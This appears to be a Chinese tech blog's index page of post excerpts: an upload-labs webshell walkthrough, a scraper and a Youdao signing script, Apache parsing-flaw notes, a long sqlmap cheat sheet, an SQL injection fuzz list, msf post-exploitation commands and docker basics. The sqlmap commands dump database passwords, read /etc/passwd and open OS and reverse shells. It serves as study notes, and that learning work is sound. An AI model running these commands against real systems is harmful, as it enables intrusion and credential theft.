0%

pass-01

  • 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
    alert("请选择要上传的文件!");
    return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
    var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
    alert(errMsg);
    return false;
    }
    }
  • 上传
    白名单,仅允许上传.jpg|.png|.gif,但是只有前端校验
    上传jpg抓包修改为php

  • 连接webshell
    复制图片地址,使用蚁剑连接

pass-02

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
阅读全文 »

爬取墨迹天气,土味情话,ONE每日图片定时发送邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

import smtplib
import time
from email.mime.text import MIMEText
import requests
from lxml import etree
import datetime
from fake_useragent import UserAgent

sender_maile = '' # 发件人地址
sender_pass = '' # 邮件授权码
boy_name = '' # 发件人姓名
girl_name = '' # 收件人姓名
maile_obj = smtplib.SMTP_SSL('smtp.qq.com', 465) # 发送的服务器
receiver_mail = '' # 收件人邮箱
special_day = '' # 纪念日
province = '' # 省份 墨迹天气官网查看 示例province = 'guangxi'
city = '' # 城市 示例city = 'jiangnan-district'
title = 's' # 邮件主题
ua = UserAgent()
header = {
'Referer': 'https://tianqi.moji.com/weather/china/guangxi', # 根据城市修改
'User-Agent': ua.random
}

session = requests.session()


# 获取纪念日距今多少天
def get_day():
d1 = datetime.datetime.strptime(special_day, '%Y-%m-%d')
d2 = datetime.datetime.strptime(datetime.datetime.now().strftime('%Y-%m-%d'), '%Y-%m-%d')
delta = d2 - d1
return delta.days


# 获取每日土味情话
def get_chp():
url = "https://api.lovelive.tools/api/SweetNothings"
resp = requests.get(url=url)
return resp.text


# 获取提醒
def get_weathertip():
try:
url = f'https://tianqi.moji.com/weather/china/{province}/{city}'
resp = session.get(url=url, headers=header, verify=False)
html = etree.HTML(resp.text)
em = html.xpath('/html/body/div[4]/div[1]/div[4]/em/text()')[0]
return em
except:
return False


# 获取每日天气
def get_weather():
try:
url = f'https://tianqi.moji.com/weather/china/{province}/{city}'
resp = session.get(url=url, headers=header, verify=False)
html = ''
htmls = etree.HTML(resp.text)
ul = htmls.xpath('/html/body/div[5]/div[1]/div[1]/ul')
for lis in ul:
# 获取日期
day = lis.xpath('./li[1]/a/text()')[0]
# 获取天气图标
src = lis.xpath('./li[2]/span/img/@src')[0]
# 获取天气状况
weather = lis.xpath('./li[2]/span/img/@alt')[0]
# 获取温度
temperature = lis.xpath('./li[3]/text()')[0]
# 获取空气质量
air = lis.xpath('./li[5]/strong/text()')[0].strip()
# 获取空气质量对应的字体颜色
color = str(lis.xpath('./li[5]/strong/@class')[0])
# 判断字体颜色
if color == 'level_1':
color = '#8fc31f'
elif color == 'level_2':
color = '#d7af0e'
elif color == 'level_3':
color = '#f39800'
elif color == 'level_4':
color = '#e2361a'
elif color == 'level_5':
color = '#5f52a0'
elif color == 'level_6':
color = '#631541'
html += """<div style="display: flex;margin-top:5px;height: 30px;line-height: 30px;justify-content: space-around;align-items: center;">
<span style="width:15%%; text-align:center;">%s</span>
<div style="width:10%%; text-align:center;">
<img style="height:26px;vertical-align:middle;" src='%s' alt="">
</div>
<span style="width:25%%; text-align:center;">%s</span>
<div style="width:35%%; ">
<span style="display:inline-block;padding:0 8px;line-height:25px;color:%s; border-radius:15px; text-align:center;">%s</span>
</div>
</div>
""" % (day, src, temperature, color, air)
return html
except:
return False


# 获取图片
def get_image():
url = "http://wufazhuce.com/"
resp = requests.get(url=url)
html = etree.HTML(resp.text)
img_url = html.xpath('//*[@id="carousel-one"]/div/div[1]/a/img/@src')[0]
return img_url


# 获取当天日期
def get_today():
i = datetime.datetime.now()
date = "%s/%s/%s" % (i.year, i.month, i.day)
return date


mail_content = """<!DOCTYPE html>
<html>

<head>
<title>
</title>
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
<meta charset="UTF-8">
</head>

<body style="margin:0;padding:0;">
<div style="width:100%; margin: 40px auto;font-size:20px; color:#5f5e5e;text-align:center">
<span>今天是我们在一起的第</span>
<span style="font-size:24px;color:rgb(221, 73, 73)" >{0}</span>
<span>天</span>
</div>
<div style="width:100%; margin: 0 auto;color:#5f5e5e;text-align:center">
<span style="display:block;color:#676767;font-size:20px">{2}</span>
<br>
<span style="display:block;color:#676767;font-size:20px">{1}</span>
<span style="display:block;margin-top:15px;color:#676767;font-size:15px">近期天气预报</span>
{3}
</div>
<div style="text-align:center;margin:35px 0;">
<span style="display:block;margin-top:55px;color:#676767;font-size:15px">{4} ❤️ {5}</span>
<span style="display:block;margin-top:25px;font-size:22px; color:#9d9d9d; ">{6}</span>
<img src='{7}' style="width:100%;margin-top:10px;" alt="">
</div>
</body>

</html>""".format(str(get_day()), get_weathertip(), get_chp(), get_weather(), boy_name, girl_name,
get_today(), get_image())


# 发送邮件
def send_mail():
try:
maile_obj.login(sender_maile, sender_pass)
# 三个参数分别是发件人邮箱账号,收件人账号,发送的邮件内容
msg = MIMEText(mail_content, _subtype='html', _charset='utf-8')
msg['Subject'] = title
msg['From'] = "发送人名称"
msg['To'] = "接收人名称"
maile_obj.sendmail(sender_maile, receiver_mail, msg.as_string())
maile_obj.quit()
return True
except smtplib.SMTPException as e:
return False


if __name__ == '__main__':
send_mail()
print('发送成功!')
theTime = datetime.datetime.now()
print(theTime)


效果

js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
define("newweb/common/service", ["./utils", "./md5", "./jquery-1.7"], function(e, t) {
var n = e("./jquery-1.7");
e("./utils");
e("./md5");
var r = function (e) {
var t = n.md5(navigator.appVersion)
, r = "" + (new Date).getTime()
, i = r + parseInt(10 * Math.random(), 10);
return {
ts: r,
bv: t,
salt: i,
sign: n.md5("fanyideskweb" + e + i + "Ygy_4c=r#e#4EX^NUGUc5")
}
};
// e = 翻译的字符串, i = 字符串形式的js时间戳+一位整数

python实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

import time
import hashlib
import requests

def get_fanyi(word):
# 13位时间戳
lts = str(int(time.time() * 1000))
# 时间戳+一个随机整数
salt = str(int(time.time() * 10000))
# 写死的两个参数+翻译的字符+salt
sign = "fanyideskweb" + word + salt + "Y2FYu%TNSbMCxc3t2u^XT"
# md5 加密字符
sign = hashlib.md5(sign.encode()).hexdigest()

data = {"i": word,
"from": "AUTO",
"to": "AUTO",
"smartresult": "dict",
"client": "fanyideskweb",
# 时间戳14位
"salt": salt,
# 加密的数据
"sign": sign,
# 时间戳13位
"lts": lts,
"bv": 'd771cbe0c376715add7059261c9e06bd',
"doctype": "json",
"version": "2.1",
"keyfrom": "fanyi.web",
"action": "FY_BY_REALTlME"
}
url = 'https://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule'
header = {
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36',
'Referer': 'https://fanyi.youdao.com/',
'cookie': 'OUTFOX_SEARCH_USER_ID=-1711366876@10.108.160.105; OUTFOX_SEARCH_USER_ID_NCOO=528854206.9578509; '
'fanyi-ad-closed=0; JSESSIONID=aaab35aMiB_2j8wyyH0-x; fanyi-ad-id=305426; '
'___rl__test__cookies=1649078361368 '
}
resp = requests.post(url=url, headers=header, data=data)
print(resp.json()['translateResult'][0][0]['tgt'])


if __name__ == '__main__':
get_fanyi('dog')

服务器解析漏洞

服务器解析漏洞一般是服务器自身或扩展组件带来的漏洞,配合文件上传等漏洞就会产生很大的危害。
我们这里整理常见的服务器apache、IIS、nginx的解析漏洞。

apache

  • 一、不可识别解析

apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
apache版本在以下范围内
Apache 2.0.x <= 2.0.59 Apache 2.2.x <= 2.2.17 Apache 2.2.2 <= 2.2.8 都可以通过上传xxx.php.rar或xxx.php+任意无法解析后缀解析为php。

阅读全文 »

参数

  • -u #注入点
  • -f #指纹判别数据库类型
  • -b #获取数据库版本信息
  • -p #指定可测试的参数(?page=1&id=2 -p “page,id”)
  • -D “” #指定数据库名
  • -T “” #指定表名
  • -C “” #指定字段
  • -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)
  • –level=(1-5) #要执行的测试水平等级,默认为1
  • –risk=(0-3) #测试执行的风险等级,默认为1
  • –time-sec=(2,5) #延迟响应,默认为5
  • –data #通过POST发送数据
  • –columns #列出字段
  • –current-user #获取当前用户名称
  • –current-db #获取当前数据库名称
  • –users #列数据库所有用户
  • –passwords #数据库用户所有密码
  • –privileges #查看用户权限(–privileges -U root)
  • -U #指定数据库用户
  • –dbs #列出所有数据库
  • –tables -D “” #列出指定数据库中的表
  • –columns -T “user” -D “mysql”#列出mysql数据库中的user表的所有字段
  • –dump-all #列出所有数据库所有表
  • –exclude-sysdbs #只列出用户自己新建的数据库和表
  • –dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
  • –dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
  • –dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
  • –os #指定系统(Linux,Windows)
  • -v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。
    1.显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容
  • –privileges #查看权限
  • –is-dba #是否是数据库管理员
  • –roles #枚举数据库用户角色
  • –udf-inject #导入用户自定义函数(获取系统权限)
  • –union-check #是否支持union 注入
  • –union-cols #union 查询表记录
  • –union-test #union 语句测试
  • –union-use #采用union 注入
  • –union-tech orderby #union配合order by
  • –data “” #POST方式提交数据(–data “page=1&id=2”)
  • –cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) –referer “” #使用referer欺骗(–referer “http://“)
  • –user-agent “” #自定义user-agent
  • –random-agent #随机ua
  • – tamper #使用防过滤脚本
  • –proxy “http://127.0.0.1:8118" #代理注入
  • –string=”” #指定关键词,字符串匹配.
  • –threads    #采用多线程(–threads 3)
  • –sql-shell #执行指定sql命令
  • –sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )
  • –file-read #读取指定文件
  • –file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
  • –file-dest #要写入的文件绝对路径
  • –os-cmd=id #执行系统命令
  • –os-shell #系统交互shell
  • –os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
  • –msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
  • –os-smbrelay #
  • –os-bof #
  • –reg-read #读取win系统注册表
  • –priv-esc #
  • –time-sec= #延迟设置 默认–time-sec=5 为5秒 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
  • –eta #盲注 /pentest/database/sqlmap/txt/common-columns.txt  字段字典   
    common-outputs.txt
    common-tables.txt 表字典
    keywords.txt
    oracle-default-passwords.txt
    user-agents.txt
    wordlist.txt

    常用语句

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    1. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0

    2. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2

    3. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2

    4. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs

    5. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2

    6. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2

    7. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2

    8. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1

    9. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2

    10. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1

    11. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1

    12. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1

    13. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

    14. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta

    15. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -p id --prefix "')" --suffix "AND ('abc'='abc"

    16. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --auth-type Basic --auth-cred "testuser:testpass"

    17. /sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

    18. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

    19. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --sql-query "SELECT 'foo'" -v 1

    20. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --common-tables -D testdb --banner

    21. /sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"

注入流程

  1. 读取数据库版本,当前用户,当前数据库

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 
  2. 判断当前数据库用户权限

    1
    2
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
  3. 读取所有数据库用户或指定数据库用户的密码

    1
    2
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
  4. 获取所有数据库

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 
  5. 获取指定数据库中的所有表

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
  6. 获取指定数据库名中指定表的字段

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
  7. 获取指定数据库名中指定表中指定字段的数据

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
  8. file-read读取web文件

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
  9. file-write写入文件到web

    1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file #使用sqlmap绕过防火墙进行注入测试

sql注入

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)

常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名
  • 4.1.2.2. Fuzz注入点
  • ‘ / “
  • 1/1
  • 1/0
  • and 1=1
  • “ and “1”=”1
  • and 1=2
  • or 1=1
  • or 1=
  • ‘ and ‘1’=’1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

4.1.2.3. 测试用常量

阅读全文 »

大数据概述&解决办法

大数据的特征(5v+1c)

  • 大量:数据量巨大,MB,GB,TB,PB
  • 多样:数据类型多样,数据来源多样 数据来源:服务器日志、网站浏览信息、社交
    结构化数据:表格数据 平台、摄像头信息
    半结构化数据:网页html、xml
    非结构化数据:视频、音频、图片、文字
  • 高速:数据产生速度快、数据处理速度快
  • 价值:价值密度低
  • 准确:数据真实性
  • 复杂:数据产生速度快、数据的类型多样等特征,导致做数据处理时处理过程变得很复杂

大数据处理流程

数据采集->数据预处理->数据存储->分析挖掘->数据可视化

阅读全文 »

msf后渗透命令整理

  • 后渗透基本知识
  • 权限维持,权限提升,内网渗透等
  • 内网渗透:信息收集,读取用户hash,浏览器密码等
  • 域渗透:获取域控权限

1.后渗透基本操作

1
2
3
4
5
background		    让meterpreter处于后台
sessions -i 会话号 与会话进行交互
quit 退出会话
shell 获取一个交互式shell
irb 开启ruby终端

2.文件操作命令

阅读全文 »

docker帮助命令

1
2
3
docker version 显示版本信息
docker help 帮助
docker info 基本信息

docker镜像命令

1
2
3
4
docker images
# 可选项
-a, --all # 列出所有镜像
-q, --quite # 只显示镜像的id

docker search 搜索镜像

阅读全文 »